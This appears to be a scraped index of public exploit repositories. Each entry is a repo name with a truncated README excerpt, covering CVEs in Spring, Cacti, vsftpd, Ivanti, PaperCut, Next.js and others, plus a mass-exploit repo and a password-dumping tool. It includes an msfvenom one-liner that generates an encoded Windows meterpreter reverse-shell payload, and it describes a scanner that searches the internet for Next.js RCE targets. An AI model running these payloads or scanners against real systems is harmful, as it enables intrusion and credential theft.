CVE-2026-49085

CVE-2026-49085 CVE-2026-49085 WP Insightly PHP Object Injection Exploit...

EthernalBlue_report

EthernalBlue Report What is it? This is an exploit developed by the NSA, stolen by hacker group, primarily known for being used in ransomware attacks, such as WannaCry or NotPetya... Why did you make this report? I've been asked to do this report on the Tryhackme EthernalBlue room, but without...

libssh2-Exploit

libssh2-Exploit Create an exploit to libssh2 vulnerabulity described in CVE-2019-13115 Goals 1. Establish an openssh server. // Complete by Oct 20 2. Create a libssh2 cpp client and establish connectivity to server. // Complete by Oct 20 3. Modify the server to trigger a crash in client. //...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

CVE-2023-30190-FOLLINA

CVE-2023-30190-EXPLOIT.py...

CVE-2022-22965

CVE-2022-22965 Exploit Of Spring4Shell! Usages python3 exploit.py Target Host...

CVE-2022-46169

CVE-2022-46169 Exploit for cacti version 1.2.22, CVE-2022-46169 Usage $ python3 cacti.py...

CVE-2026-41940-MASS-EXPLOIT

This repository does not have a README...

EP4-redes

POC CVE-2018-15473 exploit Adapted from https://github.com/Rhynorater/CVE-2018-15473-Exploit To run this exploit you need to have installed: docker docker compose SSH server Let's start by pulling from DockerHub an image that has an old version 6.6 of SSH on an old Ubuntu: It may take a few minut...

ivanti-cve-2023-35080-privilege-escalation-bof

Ivanti Connect Secure VPN Privilege Escalation Ivanti Secure Access previously Pulse Secure privilege escalation Cobalt Strike BOF CVE-2023-35080. Exploit by Alex and BOF by Tijme. Made possible by Northwave Cyber Security Description This is a Cobalt Strike CS Beacon Object File BOF and executab...

CVE-2026-8206

CVE-2026-8206 CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit...

CVE-2024-24919-Exploit

CVE-2024-24919-Exploit Overview This repository contains a python exploit for the CVE-2024-24919, a vulnerability that allows you to read sensitive files from the vulnerable page. This exploit first checks if the target is vulnerable, and then gets the path you specify. Severity : Critical Usage...

PaperCut-CVE-2026-81578-82078

Professional security research tool for PaperCut NG/MF vulnerability assessment & authorized exploitation ╔══════════════════════════════════════════════════════════════════╗ ║ PAPERCUT SECURITY TOOL – POWER MODE ║ ║ CVE-2026-81578 · CVE-2026-82078 · v3.1.0 ║ ║ ⚡ powered by yora 1928 ⚡ ║...

CVE-2025-55182-zoomeye

Zoomeye Next.js RCE Scanner Author: im-ezboy Scanner for Next.js RCE CVE-2025-55182 using Zoomeye search. Finds targets via Zoomeye queries and tests them with the supplied exploit payload. Features Two focused Zoomeye dorks by default: http.header="Vary: RSC, Next-Router-State-Tree"...

CVE-2020-7384

CVE-2020-7384 This is an exploit made in bash for CVE-2020-7384. It is a modification of nikhil1232's code here: https://github.com/nikhil1232/CVE-2020-7384/blob/main/CVE-2020-7384.sh My goal was to make the exploit easier to run, along with adding a few QOL improvements. Usage bash CVE-2020-7384...

CVE-2011-2523-PoC

vsftpd2.3.4 Simple exploit made in Python that exploits the vsftpd 2.3.4 vulnerability Usage: python3 ftpxploit.py 127.0.0.1...

CVE-2023-51385

CVE-2023-51385 CVE-2023-51385 exp...

CVE-2019-0859-1day-Exploit

CVE-2019-0859-1day-Exploit CVE-2019-0859 1day Exploit Target OS : Windows 7 x64 ServicePack1 7601 This exploit need to enviroment that is updated with 2019 March security update. Previous update didn't check currently. exploit relible isn't 100%. Sometime exploit didn't work perfecty. Then you tr...

Pentagram-exploit-tester

Pentagram-exploit-tester A test app to check if your device is vulnerable to CVE-2021-30955. This tool incorporates @b1n4r1b01's kernel exploit based on CVE-2021-30955 and will run it on your device to test if the device is compatible. Exploit is known to work with iOS 15.0 to 15.1.1 and 15.2 BET...

mimipenguin

MimiPenguin 2.0 A tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. This was assigned CVE-2018-20781 https://vulners.com/cve/CVE-2018-20781. Fun fact it's still not fixed after GNOME Keyring 3.27.2 and still works ...